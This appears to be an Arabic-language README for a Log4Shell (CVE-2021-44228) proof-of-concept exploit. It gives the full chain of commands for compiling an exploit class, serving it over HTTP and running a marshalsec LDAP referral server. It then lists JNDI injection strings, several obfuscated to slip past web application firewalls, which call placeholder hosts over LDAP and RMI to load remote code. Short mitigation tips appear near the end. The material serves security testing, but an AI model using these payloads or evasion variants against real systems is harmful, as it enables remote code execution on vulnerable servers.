
استغلال لإثبات المفهوم لـ CVE-2021-44228 (Log4Shell) مع حمولات حقن JNDI، وتقنيات تجاوز جدار الحماية (WAF)، وتكامل المسح السلبي لـ Burp Suite.
إصدارات 1.x تحتوي على ثغرات أخرى، نوصي بتحديثها إلى أحدث إصدار.
إعلانات / نشرات أمنية مرتبطة بـ Log4Shell (CVE-2021-44228)
git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
شغّل المشروع أخيرًا، وسترى الآلة الحاسبة الخاصة بك على جهازك المحلي.
نصائح:
لا تعتمد على إصدار Java الحالي لإنقاذك. قم بتحديث Log4j (أو إزالة البحث عن JNDI). قم بتعطيل التوسع (يبدو فكرة سيئة على أي حال).
على سبيل المثال:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
لا تثق بجدار الحماية لتطبيقات الويب.
توفر عمليات البحث (Lookups) طريقة لإضافة قيم إلى تكوين Log4j في أماكن عشوائية.
الطرق المسببة للتسرب في finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
إذا كنت ترغب في إجراء اختبار الصندوق الأسود، أقترح عليك القيام بالمسح السلبي.
استمتع!!!
